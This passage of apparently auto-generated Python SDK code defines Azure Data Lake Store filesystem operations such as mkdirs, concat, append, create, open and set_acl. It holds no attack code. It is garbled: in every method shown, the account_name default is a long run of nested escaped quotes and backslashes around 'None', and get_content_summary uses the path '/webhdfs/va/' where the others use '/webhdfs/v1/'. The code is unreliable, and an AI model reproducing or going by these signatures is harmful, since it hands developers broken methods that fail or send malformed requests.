account_name="\"\\"\\\"\\\\"\\\\\"\\\\\\"\\\\\\\"\\\\\\\\"\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\"None\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\"\\\\\\\\"\\\\\\\"\\\\\\"\\\\\"\\\\"\\\"\\"\"", op="MKDIRS", custom_headers=None, raw=False, **operation_config): """ Creates a directory. :param account_name: The Azure Data Lake Store account to execute filesystem operations on. :type account_name: str :param path: The Data Lake Store path (starting with '/') of the directory to create. :type path: str :param op: The constant value for the operation. :type op: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`FileOperationResult <azure.mgmt.datalake.store.filesystem.models.FileOperationResult>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/webhdfs/v1/{path}' path_format_arguments = { 'accountName': self._serialize.url("account_name", account_name, 'str', skip_quote=True), 'adlsFileSystemDnsSuffix': self._serialize.url("self.config.adls_file_system_dns_suffix", self.config.adls_file_system_dns_suffix, 'str', skip_quote=True), 'path': self._serialize.url("path", path, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['op'] = self._serialize.query("op", op, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.put(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.AdlsErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('FileOperationResult', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def concat( self, destination_path, sources, account_name="\"\\"\\\"\\\\"\\\\\"\\\\\\"\\\\\\\"\\\\\\\\"\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\"None\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\"\\\\\\\\"\\\\\\\"\\\\\\"\\\\\"\\\\"\\\"\\"\"", op="CONCAT", custom_headers=None, raw=False, **operation_config): """ Concatenates the list of source files into the destination file, removing all source files upon success. :param account_name: The Azure Data Lake Store account to execute filesystem operations on. :type account_name: str :param destination_path: The Data Lake Store path (starting with '/') of the destination file resulting from the concatenation. :type destination_path: str :param sources: A list of comma seperated Data Lake Store paths (starting with '/') of the files to concatenate, in the order in which they should be concatenated. :type sources: list of str :param op: The constant value for the operation. :type op: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: None :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/webhdfs/v1/{destinationPath}' path_format_arguments = { 'accountName': self._serialize.url("account_name", account_name, 'str', skip_quote=True), 'adlsFileSystemDnsSuffix': self._serialize.url("self.config.adls_file_system_dns_suffix", self.config.adls_file_system_dns_suffix, 'str', skip_quote=True), 'destinationPath': self._serialize.url("destination_path", destination_path, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['sources'] = self._serialize.query("sources", sources, '[str]', div=',') query_parameters['op'] = self._serialize.query("op", op, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.post(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.AdlsErrorException(self._deserialize, response) if raw: client_raw_response = ClientRawResponse(None, response) return client_raw_response def ms_concat( self, ms_concat_destination_path, stream_contents, account_name="\"\\"\\\"\\\\"\\\\\"\\\\\\"\\\\\\\"\\\\\\\\"\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\"None\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\"\\\\\\\\"\\\\\\\"\\\\\\"\\\\\"\\\\"\\\"\\"\"", op="MSCONCAT", delete_source_directory=None, custom_headers=None, raw=False, callback=None, **operation_config): """ Concatenates the list of source files into the destination file, deleting all source files upon success. This method accepts more source file paths than the Concat method. This method and the parameters it accepts are subject to change for usability in an upcoming version. :param account_name: The Azure Data Lake Store account to execute filesystem operations on. :type account_name: str :param ms_concat_destination_path: The Data Lake Store path (starting with '/') of the destination file resulting from the concatenation. :type ms_concat_destination_path: str :param stream_contents: A list of Data Lake Store paths (starting with '/') of the source files. Must be in the format: sources=<comma separated list> :type stream_contents: Generator :param op: The constant value for the operation. :type op: str :param delete_source_directory: Indicates that as an optimization instead of deleting each individual source stream, delete the source stream folder if all streams are in the same folder instead. This results in a substantial performance improvement when the only streams in the folder are part of the concatenation operation. WARNING: This includes the deletion of any other files that are not source files. Only set this to true when source files are the only files in the source directory. :type delete_source_directory: bool :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param callback: When specified, will be called with each chunk of data that is streamed. The callback should take two arguments, the bytes of the current chunk of data and the response object. If the data is uploading, response will be None. :type callback: Callable[Bytes, response=None] :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: None :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/webhdfs/v1/{msConcatDestinationPath}' path_format_arguments = { 'accountName': self._serialize.url("account_name", account_name, 'str', skip_quote=True), 'adlsFileSystemDnsSuffix': self._serialize.url("self.config.adls_file_system_dns_suffix", self.config.adls_file_system_dns_suffix, 'str', skip_quote=True), 'msConcatDestinationPath': self._serialize.url("ms_concat_destination_path", ms_concat_destination_path, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if delete_source_directory is not None: query_parameters['deleteSourceDirectory'] = self._serialize.query("delete_source_directory", delete_source_directory, 'bool') query_parameters['op'] = self._serialize.query("op", op, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/octet-stream' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._client.stream_upload(stream_contents, callback) # Construct and send request request = self._client.post(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: raise models.AdlsErrorException(self._deserialize, response) if raw: client_raw_response = ClientRawResponse(None, response) return client_raw_response def list_file_status( self, list_file_path, account_name="\"\\"\\\"\\\\"\\\\\"\\\\\\"\\\\\\\"\\\\\\\\"\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\"None\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\"\\\\\\\\"\\\\\\\"\\\\\\"\\\\\"\\\\"\\\"\\"\"", op="MSLISTSTATUS", list_size=None, list_after=None, list_before=None, custom_headers=None, raw=False, **operation_config): """ Get the list of file status objects specified by the file path, with optional pagination parameters :param account_name: The Azure Data Lake Store account to execute filesystem operations on. :type account_name: str :param list_file_path: The Data Lake Store path (starting with '/') of the directory to list. :type list_file_path: str :param op: The constant value for the operation. :type op: str :param list_size: Gets or sets the number of items to return. Optional. :type list_size: int :param list_after: Gets or sets the item or lexographical index after which to begin returning results. For example, a file list of 'a','b','d' and listAfter='b' will return 'd', and a listAfter='c' will also return 'd'. Optional. :type list_after: str :param list_before: Gets or sets the item or lexographical index before which to begin returning results. For example, a file list of 'a','b','d' and listBefore='d' will return 'a','b', and a listBefore='c' will also return 'a','b'. Optional. :type list_before: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`FileStatusesResult <azure.mgmt.datalake.store.filesystem.models.FileStatusesResult>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/webhdfs/v1/{listFilePath}' path_format_arguments = { 'accountName': self._serialize.url("account_name", account_name, 'str', skip_quote=True), 'adlsFileSystemDnsSuffix': self._serialize.url("self.config.adls_file_system_dns_suffix", self.config.adls_file_system_dns_suffix, 'str', skip_quote=True), 'listFilePath': self._serialize.url("list_file_path", list_file_path, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if list_size is not None: query_parameters['listSize'] = self._serialize.query("list_size", list_size, 'int') if list_after is not None: query_parameters['listAfter'] = self._serialize.query("list_after", list_after, 'str') if list_before is not None: query_parameters['listBefore'] = self._serialize.query("list_before", list_before, 'str') query_parameters['op'] = self._serialize.query("op", op, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.AdlsErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('FileStatusesResult', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_content_summary( self, get_content_summary_file_path, account_name="\"\\"\\\"\\\\"\\\\\"\\\\\\"\\\\\\\"\\\\\\\\"\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\"None\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\"\\\\\\\\"\\\\\\\"\\\\\\"\\\\\"\\\\"\\\"\\"\"", op="GETCONTENTSUMMARY", custom_headers=None, raw=False, **operation_config): """ Gets the file content summary object specified by the file path. :param account_name: The Azure Data Lake Store account to execute filesystem operations on. :type account_name: str :param get_content_summary_file_path: The Data Lake Store path (starting with '/') of the file for which to retrieve the summary. :type get_content_summary_file_path: str :param op: The constant value for the operation. :type op: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`ContentSummaryResult <azure.mgmt.datalake.store.filesystem.models.ContentSummaryResult>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/webhdfs/va/{getContentSummaryFilePath}' path_format_arguments = { 'accountName': self._serialize.url("account_name", account_name, 'str', skip_quote=True), 'adlsFileSystemDnsSuffix': self._serialize.url("self.config.adls_file_system_dns_suffix", self.config.adls_file_system_dns_suffix, 'str', skip_quote=True), 'getContentSummaryFilePath': self._serialize.url("get_content_summary_file_path", get_content_summary_file_path, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['op'] = self._serialize.query("op", op, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.AdlsErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('ContentSummaryResult', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def get_file_status( self, get_file_path, account_name="\"\\"\\\"\\\\"\\\\\"\\\\\\"\\\\\\\"\\\\\\\\"\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\"None\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\"\\\\\\\\"\\\\\\\"\\\\\\"\\\\\"\\\\"\\\"\\"\"", op="GETFILESTATUS", custom_headers=None, raw=False, **operation_config): """ Get the file status object specified by the file path. :param account_name: The Azure Data Lake Store account to execute filesystem operations on. :type account_name: str :param get_file_path: The Data Lake Store path (starting with '/') of the file or directory for which to retrieve the status. :type get_file_path: str :param op: The constant value for the operation. :type op: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: :class:`FileStatusResult <azure.mgmt.datalake.store.filesystem.models.FileStatusResult>` :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/webhdfs/v1/{getFilePath}' path_format_arguments = { 'accountName': self._serialize.url("account_name", account_name, 'str', skip_quote=True), 'adlsFileSystemDnsSuffix': self._serialize.url("self.config.adls_file_system_dns_suffix", self.config.adls_file_system_dns_suffix, 'str', skip_quote=True), 'getFilePath': self._serialize.url("get_file_path", get_file_path, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['op'] = self._serialize.query("op", op, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.AdlsErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('FileStatusResult', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def append( self, direct_file_path, stream_contents, account_name="\"\\"\\\"\\\\"\\\\\"\\\\\\"\\\\\\\"\\\\\\\\"\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\"None\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\"\\\\\\\\"\\\\\\\"\\\\\\"\\\\\"\\\\"\\\"\\"\"", op="APPEND", append="true", transfer_encoding="chunked", custom_headers=None, raw=False, callback=None, **operation_config): """ Appends to the specified file. This method does not support multiple concurrent appends to the file. NOTE: Concurrent append and normal (serial) append CANNOT be used interchangeably. Once a file has been appended to using either append option, it can only be appended to using that append option. Use the ConcurrentAppend option if you would like support for concurrent appends. :param account_name: The Azure Data Lake Store account to execute filesystem operations on. :type account_name: str :param direct_file_path: The Data Lake Store path (starting with '/') of the file to which to append. :type direct_file_path: str :param stream_contents: The file contents to include when appending to the file. :type stream_contents: Generator :param op: The constant value for the operation. :type op: str :param append: The constant value for the operation. :type append: str :param transfer_encoding: Indicates the data being sent to the server is being streamed in chunks. :type transfer_encoding: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param callback: When specified, will be called with each chunk of data that is streamed. The callback should take two arguments, the bytes of the current chunk of data and the response object. If the data is uploading, response will be None. :type callback: Callable[Bytes, response=None] :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: None :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/webhdfs/v1/{directFilePath}' path_format_arguments = { 'accountName': self._serialize.url("account_name", account_name, 'str', skip_quote=True), 'adlsFileSystemDnsSuffix': self._serialize.url("self.config.adls_file_system_dns_suffix", self.config.adls_file_system_dns_suffix, 'str', skip_quote=True), 'directFilePath': self._serialize.url("direct_file_path", direct_file_path, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['op'] = self._serialize.query("op", op, 'str') query_parameters['append'] = self._serialize.query("append", append, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/octet-stream' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) header_parameters['Transfer-Encoding'] = self._serialize.header("transfer_encoding", transfer_encoding, 'str') if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._client.stream_upload(stream_contents, callback) # Construct and send request request = self._client.post(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: raise models.AdlsErrorException(self._deserialize, response) if raw: client_raw_response = ClientRawResponse(None, response) return client_raw_response def create( self, direct_file_path, account_name="\"\\"\\\"\\\\"\\\\\"\\\\\\"\\\\\\\"\\\\\\\\"\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\"None\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\"\\\\\\\\"\\\\\\\"\\\\\\"\\\\\"\\\\"\\\"\\"\"", op="CREATE", write="true", transfer_encoding="chunked", stream_contents=None, overwrite=None, custom_headers=None, raw=False, callback=None, **operation_config): """ Creates a file with optionally specified content. :param account_name: The Azure Data Lake Store account to execute filesystem operations on. :type account_name: str :param direct_file_path: The Data Lake Store path (starting with '/') of the file to create. :type direct_file_path: str :param op: The constant value for the operation. :type op: str :param write: The constant value for the operation. :type write: str :param transfer_encoding: Indicates the data being sent to the server is being streamed in chunks. :type transfer_encoding: str :param stream_contents: The file contents to include when creating the file. This parameter is optional, resulting in an empty file if not specified. :type stream_contents: Generator :param overwrite: The indication of if the file should be overwritten. :type overwrite: bool :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param callback: When specified, will be called with each chunk of data that is streamed. The callback should take two arguments, the bytes of the current chunk of data and the response object. If the data is uploading, response will be None. :type callback: Callable[Bytes, response=None] :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: None :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/webhdfs/v1/{directFilePath}' path_format_arguments = { 'accountName': self._serialize.url("account_name", account_name, 'str', skip_quote=True), 'adlsFileSystemDnsSuffix': self._serialize.url("self.config.adls_file_system_dns_suffix", self.config.adls_file_system_dns_suffix, 'str', skip_quote=True), 'directFilePath': self._serialize.url("direct_file_path", direct_file_path, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if overwrite is not None: query_parameters['overwrite'] = self._serialize.query("overwrite", overwrite, 'bool') query_parameters['op'] = self._serialize.query("op", op, 'str') query_parameters['write'] = self._serialize.query("write", write, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/octet-stream' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) header_parameters['Transfer-Encoding'] = self._serialize.header("transfer_encoding", transfer_encoding, 'str') if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._client.stream_upload(stream_contents, callback) # Construct and send request request = self._client.put(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [201]: raise models.AdlsErrorException(self._deserialize, response) if raw: client_raw_response = ClientRawResponse(None, response) return client_raw_response def open( self, direct_file_path, account_name="\"\\"\\\"\\\\"\\\\\"\\\\\\"\\\\\\\"\\\\\\\\"\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\"None\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\"\\\\\\\\"\\\\\\\"\\\\\\"\\\\\"\\\\"\\\"\\"\"", op="OPEN", read="true", length=None, offset=None, custom_headers=None, raw=False, callback=None, **operation_config): """ Opens and reads from the specified file. :param account_name: The Azure Data Lake Store account to execute filesystem operations on. :type account_name: str :param direct_file_path: The Data Lake Store path (starting with '/') of the file to open. :type direct_file_path: str :param op: The constant value for the operation. :type op: str :param read: The constant value for the operation. :type read: str :param length: :type length: long :param offset: :type offset: long :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param callback: When specified, will be called with each chunk of data that is streamed. The callback should take two arguments, the bytes of the current chunk of data and the response object. If the data is uploading, response will be None. :type callback: Callable[Bytes, response=None] :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: Generator :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/webhdfs/v1/{directFilePath}' path_format_arguments = { 'accountName': self._serialize.url("account_name", account_name, 'str', skip_quote=True), 'adlsFileSystemDnsSuffix': self._serialize.url("self.config.adls_file_system_dns_suffix", self.config.adls_file_system_dns_suffix, 'str', skip_quote=True), 'directFilePath': self._serialize.url("direct_file_path", direct_file_path, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if length is not None: query_parameters['length'] = self._serialize.query("length", length, 'long') if offset is not None: query_parameters['offset'] = self._serialize.query("offset", offset, 'long') query_parameters['op'] = self._serialize.query("op", op, 'str') query_parameters['read'] = self._serialize.query("read", read, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.AdlsErrorException(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._client.stream_download(response, callback) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized def set_acl( self, set_acl_file_path, aclspec, account_name="\"\\"\\\"\\\\"\\\\\"\\\\\\"\\\\\\\"\\\\\\\\"\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\"None\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\"\\\\\\\\"\\\\\\\"\\\\\\"\\\\\"\\\\"\\\"\\"\"", op="SETACL", custom_headers=None, raw=False, **operation_config): """ Sets the Access Control List (ACL) for a file or folder. :param account_name: The Azure Data Lake Store account to execute filesystem operations on. :type account_name: str :param set_acl_file_path: The Data Lake Store path (starting with '/') of the file or directory on which to set the ACL. :type set_acl_file_path: str :param aclspec: The ACL spec included in ACL creation operations in the format '[default:]user|group|other::r|-w|-x|-' :type aclspec: str :param op: The constant value for the operation. :type op: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: None :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/webhdfs/v1/{setAclFilePath}' path_format_arguments = { 'accountName': self._serialize.url("account_name", account_name, 'str', skip_quote=True), 'adlsFileSystemDnsSuffix': self._serialize.url("self.config.adls_file_system_dns_suffix", self.config.adls_file_system_dns_suffix, 'str', skip_quote=True), 'setAclFilePath': self._serialize.url("set_acl_file_path", set_acl_file_path, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} query_parameters['aclspec'] = self._serialize.query("aclspec", aclspec, 'str') query_parameters['op'] = self._serialize.query("op", op, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.put(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.AdlsErrorException(self._deserialize, response) if raw: client_raw_response = ClientRawResponse(None, response) return client_raw_response def modify_acl_entries( self, modify_acl_file_path, aclspec, account_name="\"\\"\\\"\\\\"\\\\\"\\\\\\"\\\\\\\"\\\\\\\\"\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\"None\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\"\\\\\\\\"\\\\\\\"\\\\\\"\\\\\"\\\\"\\\"\\"\"", op="MODIFYACLENTRIES", custom_headers=None, raw=False, **operation_config): """ Modifies existing Access Control List (ACL) entries on a file or folder. :param account_name: The Azure Data Lake Store account to execute filesystem operations on. :type account_name: str :param modify_acl_file_path: The Data Lake Store path (starting with '/') of the file or directory with the ACL being modified. :type modify_acl_file_path: str :param aclspec: The ACL specification included in ACL modification operations in the format '[default:]user|group|other::r|-w|-x|-' :type aclspec: str :param op: The constant value for the operation. :type op: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration 